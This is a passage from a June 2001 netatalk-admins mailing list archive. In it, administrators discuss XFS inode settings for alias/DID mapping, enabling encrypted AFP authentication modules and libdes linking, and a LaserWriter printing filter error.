> It also appears, at least as of the CVS from the morning of June 6 (PDT), the new mtab stuff isn't having an impact on the encoding.
> 
> -- Richard
> 
> ---------- Original Message ----------------------------------
> From: "Richard Goldman" <rgml@graphpoint.com>
> Reply-To: <rgml@graphpoint.com>
> Date: Wed,  6 Jun 2001 14:36:26 -0400
> 
> >Thank you all so much for the explanations and leads on understanding the issue of aliases/DID's/files/etc.
> >
> >A few notes so far:
> >
> >Linux Kernel-2.4.5-XFS appears to be a stable platform for netatalk.  Download the full source tree from SGI's CVS (this will ensure that you're getting the 2.4.5 kernel).  Know that this pre-patched XFS-cabable kernel distrib from SGI is missing two key files from linux/drivers/scsi/aic7xxx (Adaptec driver).  These files are aic7xxx_reg.h and aic7xxx_seq.h.  Find these files from the kernel.org distrib of the stock 2.4.5 -- and only this version, as the Adaptec driver underwent a major patch between the 2..4.4 and 2.4.5 kernels.
> >
> >Remember to compile the utilities as well, and lower your alias/DID problems by lowering your inode count on XFS by creating the filesystem with this command:  mkfs.xfs -i -size=2048 /dev/whatever.  The the -size subdirective is really asking for a ratio of inodes to to fs blocks.  With Linux XFS frozen at 4k blocks, by asking for 2048 bytes here, your telling the system to be made with roughly 2 inodes per block instead of the built-in default of -size=256 giving you 16 inodes per 4k block.  That would quickly bust the 16,777,216 inode limit addressable in the 24 inode-dedicated bits in the current alias mapping scheme (which you get when you don't invoke --enable-lastdid in ./configure).
> >
> >I noticed in the CVS this morning that Jeff had added the new configure option on --with-did={last,mtab).  The mtab option points to an implementation of Bob Rogers scheme to devote more of the alias address space to inodes (raised to 28 bits?  29 bits? from the current 24).
> >
> >Does anyone know if the implementation is complete, i.e. that the new afpd.mtab file is being read, and this new dev-inode scheme is active and usable if --with-did=mtab is specified?
> >
> >Regards,
> >Richard
> >
> >

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Thu Jun  7 08:28:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA08398
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 08:28:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA00466
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 08:28:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA00444
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 08:28:30 -0400 (EDT)
Received: from lis5.ph-freiburg.de (lis5.ph-freiburg.de [193.197.132.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA00407
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 08:28:28 -0400 (EDT)
Received: from ph-freiburg.de (w3001c2b.ph-freiburg.de [193.197.132.11])
	by lis5.ph-freiburg.de (8.11.0/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id f57CSRg18739
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 14:28:27 +0200
X-Authentication-Warning: lis5.ph-freiburg.de: Host w3001c2b.ph-freiburg.de [193.197.132.11] claimed to be ph-freiburg.de
Sender: weibelzahl@ph-freiburg.de
Message-ID: <3B1F73BA.9ABAE87A@ph-freiburg.de>
Date: Thu, 07 Jun 2001 14:29:46 +0200
From: Stephan Weibelzahl <weibelza@ph-freiburg.de>
X-Mailer: Mozilla 4.76 [de] (X11; U; Linux 2.4.2-4GB i686)
X-Accept-Language: de, en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: User authentication
References: <3B1F6FE1.F010CC55@ph-freiburg.de> <200106071212.IAA07825@terminator.rsug.itd.umich.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

I've trouble with encrypted user authentication.

Filesharing with cleartext password works well. But if I disable
cleartext passwords (-nocleartxt) and enable the other authentication
methods (-krbiv -randnum -rand2num) in afpd.conf, the Mac says that no
authentication method is available.

I am using the SuSE rpm, thus shadowed password support is compiled in
and I provided .passwd files for every user in their home-directories
which are set to the correct permission status.

Moreover, the Mac uses 2-way encryption when connecting to other
AppleShare servers automatically, thus this box seems to be configured
perfect.

Anything else that I missed to enable encrypted authentication? Any
ideas what's going wrong?

I am running 1.4b2+asun2.1.3 (SuSE rpm) on SuSE 7.0.

Thanks for your help.

Earl.

From netatalk.administrators-errors@umich.edu  Thu Jun  7 09:26:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA10353
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 09:26:34 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA22780
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 09:26:34 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA22776
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 09:26:33 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA22744
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 09:26:32 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f57DQJP10465;
	Thu, 7 Jun 2001 09:26:19 -0400
Sender: jeff@univrel.pr.uconn.edu
Message-ID: <3B1F80DF.9EFAFE34@univrel.pr.uconn.edu>
Date: Thu, 07 Jun 2001 09:25:51 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephan Weibelzahl <weibelza@ph-freiburg.de>
CC: netatalk-admins@umich.edu
Subject: Re: User authentication
References: <3B1F6FE1.F010CC55@ph-freiburg.de> <200106071212.IAA07825@terminator.rsug.itd.umich.edu> <3B1F73BA.9ABAE87A@ph-freiburg.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Stephan Weibelzahl wrote:
> 
> Hi,
> 
> I've trouble with encrypted user authentication.
> 
> Filesharing with cleartext password works well. But if I disable
> cleartext passwords (-nocleartxt) and enable the other authentication
> methods (-krbiv -randnum -rand2num) in afpd.conf, the Mac says that no
> authentication method is available.
> 
> I am using the SuSE rpm, thus shadowed password support is compiled in
> and I provided .passwd files for every user in their home-directories
> which are set to the correct permission status.
> 
> Moreover, the Mac uses 2-way encryption when connecting to other
> AppleShare servers automatically, thus this box seems to be configured
> perfect.
> 
> Anything else that I missed to enable encrypted authentication? Any
> ideas what's going wrong?
> 
> I am running 1.4b2+asun2.1.3 (SuSE rpm) on SuSE 7.0.

First suggestion: try 1.5pre6. The UAMs are known to work with that
version.

2-way encryption is supported by uams_randnum.so.

DHX encryption is supported by uams_dhx.so (which is really a symbolic
link to uams_dhx_pam.so or uams_dhx_passwd.so, depending on your
installation). Please upgrade your AppleShare Client to the newest
version for your platform (usually 3.8.8, I think) to allow it to
properly detect DHX authentication.

Thanks,
Jeff

From netatalk.administrators-errors@umich.edu  Thu Jun  7 09:31:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA10566
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 09:31:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA19689
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 09:31:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA19686
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 09:31:44 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA19671
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 09:31:42 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f57DVkP10522;
	Thu, 7 Jun 2001 09:31:46 -0400
Sender: jeff@univrel.pr.uconn.edu
Message-ID: <3B1F8226.19B9CAED@univrel.pr.uconn.edu>
Date: Thu, 07 Jun 2001 09:31:18 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: rgml@graphpoint.com
CC: netatalk-admins@umich.edu
Subject: Re: Aliases:  Are alternate filesystems worth trying?
References: <200106070118.AA1441202690@graphpoint.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Richard Goldman wrote:
-- SNIP -- 
> It also appears, at least as of the CVS from the
> morning of June 6 (PDT), the new mtab stuff isn't
> having an impact on the encoding.

Are you compiling with --with-did=mtab? It only affects one line in
etc/afpd/enumerate.c, if I'm not mistaken.

Thanks,
Jeff

From netatalk.administrators-errors@umich.edu  Thu Jun  7 09:48:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA11039
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 09:48:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA23357
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 09:48:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA23333
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 09:48:05 -0400 (EDT)
Received: from bofh.concordia.ca (bofh.Concordia.CA [132.205.120.71])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA23300
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 09:48:04 -0400 (EDT)
Received: from rich by bofh.concordia.ca with local (Exim 3.03 #1)
	id 15808q-0004o0-00
	for netatalk-admins@umich.edu; Thu, 07 Jun 2001 09:48:04 -0400
Date: Thu, 7 Jun 2001 09:48:04 -0400
From: Rich Lafferty <rich@alcor.concordia.ca>
To: netatalk-admins@umich.edu
Subject: Re: User authentication
Message-ID: <20010607094804.A18396@lafferty.ca>
Mail-Followup-To: netatalk-admins@umich.edu
References: <3B1F6FE1.F010CC55@ph-freiburg.de> <200106071212.IAA07825@terminator.rsug.itd.umich.edu> <3B1F73BA.9ABAE87A@ph-freiburg.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B1F73BA.9ABAE87A@ph-freiburg.de>; from weibelza@ph-freiburg.de on Thu, Jun 07, 2001 at 02:29:46PM +0200
X-PGP-Key: available on keyserver.pgp.com and mirrors
X-Wx: CYUL 071300Z 00000KT 30SM FEW250 17/08 A2993 RMK CI0 COTRA SLP134
Sender: Rich Lafferty <rich@bofh.concordia.ca>

On Thu, Jun 07, 2001 at 02:29:46PM +0200, Stephan Weibelzahl (weibelza@ph-freiburg.de) wrote:
> Hi,
> 
> I've trouble with encrypted user authentication.
> 
> Filesharing with cleartext password works well. But if I disable
> cleartext passwords (-nocleartxt) and enable the other authentication
> methods (-krbiv -randnum -rand2num) in afpd.conf, the Mac says that no
> authentication method is available.

Okay, if your site's not running Kerberos (and you'd know if it was!),
-krbiv doesn't need to be there.
 
> I am using the SuSE rpm, thus shadowed password support is compiled in
> and I provided .passwd files for every user in their home-directories
> which are set to the correct permission status.

I suspect that netatalk wasn't built against libdes.

  -Rich

-- 
Rich Lafferty --------------+-----------------------------------------------
 Montreal, Quebec, Canada   |  "Do not dangle the mouse by the cord or
 http://www.lafferty.ca/    |   throw it at coworkers."  -- SGI Indy manual
rich@lafferty.ca -----------+-----------------------------------------------

From netatalk.administrators-errors@umich.edu  Thu Jun  7 10:49:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA13565
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 10:49:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA27308
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 10:49:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA27301
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 10:49:37 -0400 (EDT)
Received: from lis5.ph-freiburg.de (lis5.ph-freiburg.de [193.197.132.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA27266
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 10:49:35 -0400 (EDT)
Received: from ph-freiburg.de (w3001c2b.ph-freiburg.de [193.197.132.11])
	by lis5.ph-freiburg.de (8.11.0/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id f57Enhg23733
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 16:49:43 +0200
X-Authentication-Warning: lis5.ph-freiburg.de: Host w3001c2b.ph-freiburg.de [193.197.132.11] claimed to be ph-freiburg.de
Sender: weibelzahl@ph-freiburg.de
Message-ID: <3B1F94D6.D1363B05@ph-freiburg.de>
Date: Thu, 07 Jun 2001 16:51:02 +0200
From: Stephan Weibelzahl <weibelza@ph-freiburg.de>
X-Mailer: Mozilla 4.76 [de] (X11; U; Linux 2.4.2-4GB i686)
X-Accept-Language: de, en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Re: User authentication
References: <3B1F6FE1.F010CC55@ph-freiburg.de> <200106071212.IAA07825@terminator.rsug.itd.umich.edu> <3B1F73BA.9ABAE87A@ph-freiburg.de> <3B1F80DF.9EFAFE34@univrel.pr.uconn.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

jeff wrote:
> 
> First suggestion: try 1.5pre6. The UAMs are known to work with that
> version.

Great, it works. Setup of 1.5pre6 was pretty simple, and I could get it
run instantly.

Thanks very much,

Earl.

From netatalk.administrators-errors@umich.edu  Thu Jun  7 13:49:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA24030
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 13:49:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00316
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 13:49:42 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00309
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 13:49:41 -0400 (EDT)
Received: from Cantor.suse.de (ns.suse.de [213.95.15.193])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA00287
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 13:49:40 -0400 (EDT)
Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136])
	by Cantor.suse.de (Postfix) with ESMTP id 0645B1E610
	for <netatalk-admins@umich.edu>; Thu,  7 Jun 2001 19:49:49 +0200 (MEST)
Date: Thu, 7 Jun 2001 19:49:48 +0200
From: Olaf Hering <olh@suse.de>
To: netatalk-admins@umich.edu
Subject: Re: User authentication
Message-ID: <20010607194948.A30307@suse.de>
References: <3B1F6FE1.F010CC55@ph-freiburg.de> <200106071212.IAA07825@terminator.rsug.itd.umich.edu> <3B1F73BA.9ABAE87A@ph-freiburg.de> <20010607094804.A18396@lafferty.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <20010607094804.A18396@lafferty.ca>; from rich@alcor.concordia.ca on Thu, Jun 07, 2001 at 09:48:04AM -0400

On Thu, Jun 07, Rich Lafferty wrote:

> > I am using the SuSE rpm, thus shadowed password support is compiled in
> > and I provided .passwd files for every user in their home-directories
> > which are set to the correct permission status.
> 
> I suspect that netatalk wasn't built against libdes.

Do you think its possible to sell such a copy? 
The crypto stuff is somewhat problematic for a distributor...


Gruss Olaf

-- 
 $ man clone

BUGS
       Main feature not yet implemented...

From netatalk.administrators-errors@umich.edu  Thu Jun  7 14:27:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA25349
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 14:27:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA18949
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 14:27:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA18932
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 14:27:39 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA18901
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 14:27:38 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f57IRZP13804;
	Thu, 7 Jun 2001 14:27:35 -0400
Sender: jeff@univrel.pr.uconn.edu
Message-ID: <3B1FC77B.D98021CB@univrel.pr.uconn.edu>
Date: Thu, 07 Jun 2001 14:27:07 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Olaf Hering <olh@suse.de>
CC: netatalk-admins@umich.edu
Subject: Re: User authentication
References: <3B1F6FE1.F010CC55@ph-freiburg.de> <200106071212.IAA07825@terminator.rsug.itd.umich.edu> <3B1F73BA.9ABAE87A@ph-freiburg.de> <20010607094804.A18396@lafferty.ca> <20010607194948.A30307@suse.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Olaf Hering wrote:
> 
> On Thu, Jun 07, Rich Lafferty wrote:
> 
> > > I am using the SuSE rpm, thus shadowed password support is compiled in
> > > and I provided .passwd files for every user in their home-directories
> > > which are set to the correct permission status.
> >
> > I suspect that netatalk wasn't built against libdes.
> 
> Do you think its possible to sell such a copy?
> The crypto stuff is somewhat problematic for a distributor...

The major linux distributions have been packaging OpenSSL for a while
now; I don't think it's that much of a problem.

Jeff

From netatalk.administrators-errors@umich.edu  Thu Jun  7 14:33:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA25613
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 14:33:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA12027
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 14:33:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA12016
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 14:33:36 -0400 (EDT)
Received: from Cantor.suse.de (ns.suse.de [213.95.15.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA11987
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 14:33:35 -0400 (EDT)
Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136])
	by Cantor.suse.de (Postfix) with ESMTP
	id D5F3C1E62F; Thu,  7 Jun 2001 20:33:34 +0200 (MEST)
Date: Thu, 7 Jun 2001 20:33:34 +0200
From: Olaf Hering <olh@suse.de>
To: jeff <jeff@univrel.pr.uconn.edu>
Cc: netatalk-admins@umich.edu
Subject: Re: User authentication
Message-ID: <20010607203334.B6836@suse.de>
References: <3B1F6FE1.F010CC55@ph-freiburg.de> <200106071212.IAA07825@terminator.rsug.itd.umich.edu> <3B1F73BA.9ABAE87A@ph-freiburg.de> <20010607094804.A18396@lafferty.ca> <20010607194948.A30307@suse.de> <3B1FC77B.D98021CB@univrel.pr.uconn.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <3B1FC77B.D98021CB@univrel.pr.uconn.edu>; from jeff@univrel.pr.uconn.edu on Thu, Jun 07, 2001 at 02:27:07PM -0400

On Thu, Jun 07, jeff wrote:

> The major linux distributions have been packaging OpenSSL for a while
> now; I don't think it's that much of a problem.

Is it a replacement for des? We have at least a des.rpm, but I'm not
sure if its still needed.

I'm currently write a short README.encryption, maybe its helpful.
At least my MacOS 8.5 doesnt allow encrypted passwords in the default
configuration.



Gruss Olaf

-- 
 $ man clone

BUGS
       Main feature not yet implemented...

From netatalk.administrators-errors@umich.edu  Thu Jun  7 14:49:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA26569
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 14:49:02 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27504
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 14:48:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27492
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 14:48:52 -0400 (EDT)
Received: from bofh.concordia.ca (bofh.Concordia.CA [132.205.120.71])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA27482
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 14:48:51 -0400 (EDT)
Received: from rich by bofh.concordia.ca with local (Exim 3.03 #1)
	id 1584q3-0000q7-00
	for netatalk-admins@umich.edu; Thu, 07 Jun 2001 14:48:59 -0400
Date: Thu, 7 Jun 2001 14:48:59 -0400
From: Rich Lafferty <rich@lafferty.ca>
To: netatalk-admins@umich.edu
Subject: Re: User authentication
Message-ID: <20010607144859.G19208@lafferty.ca>
Mail-Followup-To: netatalk-admins@umich.edu
References: <3B1F6FE1.F010CC55@ph-freiburg.de> <200106071212.IAA07825@terminator.rsug.itd.umich.edu> <3B1F73BA.9ABAE87A@ph-freiburg.de> <20010607094804.A18396@lafferty.ca> <20010607194948.A30307@suse.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010607194948.A30307@suse.de>; from olh@suse.de on Thu, Jun 07, 2001 at 07:49:48PM +0200
X-PGP-Key: available on keyserver.pgp.com and mirrors
Sender: Rich Lafferty <rich@bofh.concordia.ca>

On Thu, Jun 07, 2001 at 07:49:48PM +0200, Olaf Hering (olh@suse.de) wrote:
> On Thu, Jun 07, Rich Lafferty wrote:
> 
> > > I am using the SuSE rpm, thus shadowed password support is compiled in
> > > and I provided .passwd files for every user in their home-directories
> > > which are set to the correct permission status.
> > 
> > I suspect that netatalk wasn't built against libdes.
> 
> Do you think its possible to sell such a copy? 

Netatalk's free, and so is libdes. Anyone's allowed to download it,
and download libdes, and link them together, if their country allows
the use of light crypto. And both, IIRC, give you the right to resell
it. So I'm not sure why it wouldn't be.

> The crypto stuff is somewhat problematic for a distributor...

I'm not familiar enough with German cryptography law to comment on
whether or not that would be a problem for SuSE. But they distribute
OpenSSL. I suspect it's just a case of not knowing what options
netatalk users tend to use.

  -Rich

-- 
Rich Lafferty --------------+-----------------------------------------------
 Montreal, Quebec, Canada   |  "Do not dangle the mouse by the cord or
 http://www.lafferty.ca/    |   throw it at coworkers."  -- SGI Indy manual
rich@lafferty.ca -----------+-----------------------------------------------

From netatalk.administrators-errors@umich.edu  Thu Jun  7 15:10:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA27686
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 15:10:00 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24223
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 15:10:00 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24201
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 15:09:59 -0400 (EDT)
Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA24139
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 15:09:57 -0400 (EDT)
Received: by phobos.email.Arizona.EDU (5.1.056) id 3B1F829C00007825 for netatalk-admins@umich.edu; Thu, 7 Jun 2001 12:09:56 -0700
Message-ID: <3B1F829E000004CB@phobos.email.Arizona.EDU>
Date: Thu, 7 Jun 2001 12:09:56 -0700
From: "Jimmy Mooney" <rjmooney@email.arizona.edu>
Subject: Odd activity with a LW Pro, don't know if it's netatalk's fault
Reply-To: rjmooney@email.arizona.edu
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA27686

This is my first post to the list, so please feel free to alert me to anything
I may have done wrong :)

I have set up a linux box with Red Hat 7.1 and the latest version of netatalk.
I also have the kernel appletalk modules installed. I have a LaserWriter
II NT installed as the printer 'lp' on the machine, and I have a LaserWriter
Pro 630 installed as the printer 'lp1' on the machine. They are both installed
in exactly the same fashion (per directions on http://gdr.free.fr/linux2.html).

The problem is I made a text file with some misc. words in it called blah.txt
in ~/ and when I do 'lpr -P lp ~/blah.txt' everything works great, prints
fine.

When I do 'lpr -P lp1 ~/blah.txt' in the status.lp1 log in /var/spool/lp1
I get the error 'OF Filter msg - 'Didn't find initial page count!' at ...'
and so on.

Any ideas as to what I'm doing wrong? The LW II works great with identical
setup (except lp = lp1 in the right places).

--Jimmy


// Jimmy Mooney
// rjmooney@email.arizona.edu



From netatalk.administrators-errors@umich.edu  Thu Jun  7 15:20:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA28353
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 15:20:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA06989
